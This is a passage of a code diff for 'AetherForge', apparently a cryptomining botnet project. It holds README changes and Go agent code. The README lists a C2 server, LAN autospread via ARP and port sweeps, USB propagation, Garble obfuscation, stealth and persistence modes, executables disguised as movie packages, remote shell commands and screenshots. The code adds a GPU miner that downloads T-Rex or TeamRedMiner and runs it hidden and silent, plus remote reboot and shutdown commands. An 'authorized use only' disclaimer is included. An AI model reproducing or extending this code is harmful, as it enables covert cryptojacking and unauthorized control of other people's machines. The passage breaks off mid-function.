||||
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
|
||||
```bat
|
||||
test.bat
|
||||
```
|
||||
|
||||
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
|
||||
Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.
|
||||
|
||||
With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).
|
||||
|
||||
### Dashboard dev server
|
||||
|
||||
@@ -326,18 +377,37 @@ cd server\web
|
||||
npm run dev
|
||||
```
|
||||
|
||||
Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.
|
||||
Vite proxies `/api` and `/ws` to `localhost:8989`.
|
||||
|
||||
### Tech stack (dashboard)
|
||||
|
||||
| Package | Version policy |
|
||||
|---------|----------------|
|
||||
| Package | Version |
|
||||
|---------|---------|
|
||||
| React | 18.x |
|
||||
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
|
||||
| `@react-three/fiber` | 8.x |
|
||||
| `@react-three/drei` | 9.x |
|
||||
| Vite | 5.x |
|
||||
|
||||
**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.
|
||||
> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.
|
||||
|
||||
---
|
||||
|
||||
## Under the Hood
|
||||
|
||||
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
|
||||
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
|
||||
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
|
||||
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
|
||||
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
|
||||
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
|
||||
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
|
||||
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
||||
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly
|
||||
|
||||
---
|
||||
|
||||
@@ -345,17 +415,21 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|
||||
|
||||
| Symptom | Likely cause | Fix |
|
||||
|---------|----------------|-----|
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
|
||||
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
|
||||
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
|
||||
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
|
||||
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |
|
||||
|
||||
---
|
||||
|
||||
## Known Issues
|
||||
|
||||
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.
|
||||
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.
|
||||
|
||||
---
|
||||
|
||||
@@ -365,34 +439,27 @@ See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers,
|
||||
|
||||
### Authorized use only
|
||||
|
||||
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.
|
||||
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.
|
||||
|
||||
By using this software you agree that:
|
||||
|
||||
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
||||
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
||||
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
|
||||
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
|
||||
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
||||
|
||||
### What this is NOT
|
||||
|
||||
- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
|
||||
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
|
||||
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.
|
||||
|
||||
### Pool & earnings
|
||||
|
||||
- Use a **valid Monero wallet address you control**.
|
||||
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
|
||||
- This project does not guarantee profitability, uptime, or pool compatibility.
|
||||
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
|
||||
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.
|
||||
|
||||
### Security responsibility
|
||||
|
||||
- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
|
||||
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
|
||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
|
||||
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
|
||||
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
|
||||
- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once).
|
||||
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
|
||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
|
||||
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.
|
||||
|
||||
### Disclaimer
|
||||
|
||||
@@ -410,5 +477,5 @@ Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.ga
|
||||
|
||||
<p align="center">
|
||||
<strong>AetherForge</strong> — LAN MINING COMMAND<br/>
|
||||
<sub>Calibrate · Forge · Deploy · Command</sub>
|
||||
<sub>Calibrate · Forge · Deploy · Spread · Command</sub>
|
||||
</p>
|
||||
|
||||
BIN
Screenshot 2026-06-01 215139.png
Normal file
BIN
Screenshot 2026-06-01 215139.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 933 KiB |
@@ -39,6 +39,7 @@ type AgentClient struct {
|
||||
agentID string
|
||||
sharesSubmitted int
|
||||
sharesAccepted int
|
||||
gpuMiner *GPUMiner
|
||||
|
||||
// connected is true while a C2 WebSocket session is active.
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
}
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
}
|
||||
}
|
||||
|
||||
func primaryMACAddress() string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
if len(iface.HardwareAddr) == 0 {
|
||||
continue
|
||||
}
|
||||
return iface.HardwareAddr.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
log.Printf("[agent] remote uninstall failed: %v", err)
|
||||
}
|
||||
}()
|
||||
case "reboot_machine":
|
||||
c.sendCommandResult(action, true, "system reboot initiated")
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
_, _ = c.runShellCommand("shutdown /r /t 0")
|
||||
}()
|
||||
case "shutdown_machine":
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
_, _ = c.runShellCommand("shutdown /s /t 0")
|
||||
}()
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.GPUTempC = lastPressure.GPUTempC
|
||||
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
||||
}
|
||||
// GPU miner (Ravencoin) stats — included when GPU miner is running
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gs, active := gm.Stats()
|
||||
stats.GPUMinerActive = &active
|
||||
stats.GPUHashrate15s = gs.Hashrate15s
|
||||
stats.GPUHashrate1m = gs.Hashrate1m
|
||||
stats.GPUHashrate15m = gs.Hashrate15m
|
||||
stats.GPUModel = gm.GPUModel()
|
||||
if gs.GPUTempC != nil {
|
||||
stats.GPUTempC = gs.GPUTempC
|
||||
}
|
||||
if gs.GPUUsagePct != nil {
|
||||
stats.GPUUsagePct = gs.GPUUsagePct
|
||||
}
|
||||
}
|
||||
if postureReady && lastPosture != nil {
|
||||
score := lastPosture.PostureScore
|
||||
stats.PostureScore = &score
|
||||
|
||||
110
agent/client/gpu_detect_stub.go
Normal file
110
agent/client/gpu_detect_stub.go
Normal file
@@ -0,0 +1,110 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func detectGPU() GPUInfo {
|
||||
// On non-Windows, only probe NVIDIA via nvidia-smi.
|
||||
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
|
||||
if err == nil {
|
||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||
if model != "" {
|
||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||
}
|
||||
}
|
||||
return GPUInfo{Vendor: GPUVendorNone}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||
pool := g.cfg.RVNPoolHost
|
||||
port := g.cfg.RVNPoolPort
|
||||
wallet := g.cfg.RVNWallet
|
||||
worker := g.cfg.WorkerName
|
||||
|
||||
poolURL := "stratum+tcp://" + pool
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
}
|
||||
if port > 0 {
|
||||
poolURL += ":" + itoa(port)
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"-a", "kawpow",
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api-bind-http", "127.0.0.1:4067",
|
||||
}
|
||||
cmd := exec.Command(binPath, args...)
|
||||
cmd.Dir = filepath.Dir(binPath)
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmd.Process, nil
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := make([]byte, 0, 10)
|
||||
neg := n < 0
|
||||
if neg {
|
||||
n = -n
|
||||
}
|
||||
for n > 0 {
|
||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||
n /= 10
|
||||
}
|
||||
if neg {
|
||||
buf = append([]byte{'-'}, buf...)
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetLower := strings.ToLower(targetFile)
|
||||
for _, f := range r.File {
|
||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||
continue
|
||||
}
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
dst := filepath.Join(destDir, targetFile)
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, err := rc.Read(buf)
|
||||
if n > 0 {
|
||||
if _, we := out.Write(buf[:n]); we != nil {
|
||||
return we
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
166
agent/client/gpu_detect_windows.go
Normal file
166
agent/client/gpu_detect_windows.go
Normal file
@@ -0,0 +1,166 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// detectGPU identifies the first supported discrete GPU on Windows.
|
||||
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
||||
func detectGPU() GPUInfo {
|
||||
// NVIDIA — nvidia-smi is the most reliable check
|
||||
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
||||
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||
if model != "" {
|
||||
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||
}
|
||||
}
|
||||
|
||||
// AMD — wmic (available on all modern Windows without extra installs)
|
||||
if out, err := deploy.HiddenOutput(
|
||||
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
||||
); err == nil {
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
||||
continue
|
||||
}
|
||||
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
||||
lo := strings.ToLower(name)
|
||||
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
||||
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return GPUInfo{Vendor: GPUVendorNone}
|
||||
}
|
||||
|
||||
// startProcess launches the GPU miner binary as a hidden background process.
|
||||
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||
pool := g.cfg.RVNPoolHost
|
||||
port := g.cfg.RVNPoolPort
|
||||
wallet := g.cfg.RVNWallet
|
||||
worker := g.cfg.WorkerName
|
||||
|
||||
var args []string
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
// T-Rex: kawpow algorithm
|
||||
algo := "kawpow"
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
args = []string{
|
||||
"-a", algo,
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api-bind-http", "127.0.0.1:4067",
|
||||
"--no-watchdog",
|
||||
"--exit-on-cuda-error",
|
||||
}
|
||||
if port > 0 {
|
||||
args[3] = args[3] + ":" + itoa(port)
|
||||
}
|
||||
case GPUVendorAMD:
|
||||
// TeamRedMiner: kawpow algorithm
|
||||
poolURL := ""
|
||||
if g.cfg.RVNPoolTLS {
|
||||
poolURL = "stratum+ssl://" + pool
|
||||
} else {
|
||||
poolURL = "stratum+tcp://" + pool
|
||||
}
|
||||
if port > 0 {
|
||||
poolURL += ":" + itoa(port)
|
||||
}
|
||||
args = []string{
|
||||
"-a", "kawpow",
|
||||
"-o", poolURL,
|
||||
"-u", wallet + "." + worker,
|
||||
"-p", g.cfg.RVNPoolPass,
|
||||
"--api_listen=4068",
|
||||
}
|
||||
}
|
||||
|
||||
cmd := exec.Command(binPath, args...)
|
||||
deploy.PrepareHiddenProcess(cmd)
|
||||
cmd.Dir = filepath.Dir(binPath)
|
||||
// Redirect all miner output to NUL (silent)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cmd.Process, nil
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
buf := make([]byte, 0, 10)
|
||||
neg := n < 0
|
||||
if neg {
|
||||
n = -n
|
||||
}
|
||||
for n > 0 {
|
||||
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||
n /= 10
|
||||
}
|
||||
if neg {
|
||||
buf = append([]byte{'-'}, buf...)
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
||||
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetLower := strings.ToLower(targetFile)
|
||||
for _, f := range r.File {
|
||||
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||
continue
|
||||
}
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rc.Close()
|
||||
dst := filepath.Join(destDir, targetFile)
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, err := rc.Read(buf)
|
||||
if n > 0 {
|
||||
if _, we := out.Write(buf[:n]); we != nil {
|
||||
return we
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return nil // binary not found inside zip — non-fatal, caller checks after
|
||||
}
|
||||
358
agent/client/gpu_miner.go
Normal file
358
agent/client/gpu_miner.go
Normal file
@@ -0,0 +1,358 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// GPUVendor identifies the discrete GPU brand on the host.
|
||||
type GPUVendor int
|
||||
|
||||
const (
|
||||
GPUVendorNone GPUVendor = iota
|
||||
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
||||
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
||||
GPUVendorOther // generic / Intel — not supported for KawPoW
|
||||
)
|
||||
|
||||
// GPUInfo holds detected GPU metadata.
|
||||
type GPUInfo struct {
|
||||
Vendor GPUVendor
|
||||
Model string
|
||||
}
|
||||
|
||||
// GPUMinerStats is polled from the miner's local HTTP API.
|
||||
type GPUMinerStats struct {
|
||||
Hashrate15s float64
|
||||
Hashrate1m float64
|
||||
Hashrate15m float64
|
||||
GPUTempC *int
|
||||
GPUUsagePct *int
|
||||
ActiveAlgo string
|
||||
}
|
||||
|
||||
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
||||
type GPUMiner struct {
|
||||
cfg config.RuntimeConfig
|
||||
info GPUInfo
|
||||
installDir string
|
||||
|
||||
mu sync.RWMutex
|
||||
stats GPUMinerStats
|
||||
active bool
|
||||
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
}
|
||||
|
||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||
// Returns nil if GPU mining should not run.
|
||||
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
||||
return nil
|
||||
}
|
||||
info := detectGPU()
|
||||
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
||||
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
||||
return nil
|
||||
}
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
log.Printf("[gpu] cannot determine install dir: %v", err)
|
||||
return nil
|
||||
}
|
||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||
return &GPUMiner{
|
||||
cfg: cfg,
|
||||
info: info,
|
||||
installDir: installDir,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||
func (g *GPUMiner) Start() {
|
||||
g.wg.Add(1)
|
||||
go func() {
|
||||
defer g.wg.Done()
|
||||
g.run()
|
||||
}()
|
||||
}
|
||||
|
||||
// Stop shuts down the GPU miner and waits for it to exit.
|
||||
func (g *GPUMiner) Stop() {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
default:
|
||||
close(g.stopCh)
|
||||
}
|
||||
g.wg.Wait()
|
||||
}
|
||||
|
||||
// Stats returns the latest GPU mining statistics.
|
||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
return g.stats, g.active
|
||||
}
|
||||
|
||||
// GPUModel returns the detected GPU model string.
|
||||
func (g *GPUMiner) GPUModel() string {
|
||||
return g.info.Model
|
||||
}
|
||||
|
||||
func (g *GPUMiner) run() {
|
||||
// Ensure the miner binary is present before trying to start.
|
||||
binPath, err := g.ensureMinerBinary()
|
||||
if err != nil {
|
||||
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
retryDelay := 30 * time.Second
|
||||
for {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
proc, err := g.startProcess(binPath)
|
||||
if err != nil {
|
||||
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
case <-time.After(retryDelay):
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
g.active = true
|
||||
g.mu.Unlock()
|
||||
|
||||
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
|
||||
|
||||
// Poll miner API while it runs.
|
||||
pollDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(pollDone)
|
||||
g.pollStats()
|
||||
}()
|
||||
|
||||
// Wait for process exit.
|
||||
procState, waitErr := proc.Wait()
|
||||
close(g.stopCh) // signal polling goroutine
|
||||
<-pollDone
|
||||
|
||||
g.mu.Lock()
|
||||
g.active = false
|
||||
g.mu.Unlock()
|
||||
|
||||
if waitErr != nil {
|
||||
log.Printf("[gpu] miner exited: %v", waitErr)
|
||||
} else if procState != nil && !procState.Success() {
|
||||
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
|
||||
}
|
||||
|
||||
// Re-open the stop channel so we can retry cleanly.
|
||||
g.stopCh = make(chan struct{})
|
||||
|
||||
select {
|
||||
case <-time.After(retryDelay):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) pollStats() {
|
||||
apiPort := g.apiPort()
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
samples = append(samples, hr)
|
||||
if len(samples) > 90 {
|
||||
samples = samples[len(samples)-90:]
|
||||
}
|
||||
avg15s := hr
|
||||
avg1m := avg(samples, 6)
|
||||
avg15m := avg(samples, len(samples))
|
||||
|
||||
g.mu.Lock()
|
||||
g.stats = GPUMinerStats{
|
||||
Hashrate15s: avg15s,
|
||||
Hashrate1m: avg1m,
|
||||
Hashrate15m: avg15m,
|
||||
GPUTempC: tempC,
|
||||
GPUUsagePct: usage,
|
||||
ActiveAlgo: "kawpow",
|
||||
}
|
||||
g.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func avg(samples []float64, last int) float64 {
|
||||
if len(samples) == 0 || last <= 0 {
|
||||
return 0
|
||||
}
|
||||
if last > len(samples) {
|
||||
last = len(samples)
|
||||
}
|
||||
slice := samples[len(samples)-last:]
|
||||
var sum float64
|
||||
for _, v := range slice {
|
||||
sum += v
|
||||
}
|
||||
return sum / float64(len(slice))
|
||||
}
|
||||
|
||||
func (g *GPUMiner) apiPort() int {
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
return 4067
|
||||
case GPUVendorAMD:
|
||||
return 4068
|
||||
default:
|
||||
return 4067
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Miner binary management ----
|
||||
|
||||
type minerSpec struct {
|
||||
fileName string
|
||||
downloadURL string
|
||||
}
|
||||
|
||||
func (g *GPUMiner) spec() minerSpec {
|
||||
switch g.info.Vendor {
|
||||
case GPUVendorNVIDIA:
|
||||
return minerSpec{
|
||||
fileName: "t-rex.exe",
|
||||
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
||||
}
|
||||
default: // AMD
|
||||
return minerSpec{
|
||||
fileName: "teamredminer.exe",
|
||||
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
spec := g.spec()
|
||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||
if _, err := os.Stat(binPath); err == nil {
|
||||
return binPath, nil
|
||||
}
|
||||
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||
return "", fmt.Errorf("download failed: %w", err)
|
||||
}
|
||||
if _, err := os.Stat(binPath); err != nil {
|
||||
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
||||
}
|
||||
return binPath, nil
|
||||
}
|
||||
|
||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||
resp, err := http.Get(url) //nolint:noctx
|
||||
if err != nil {
|
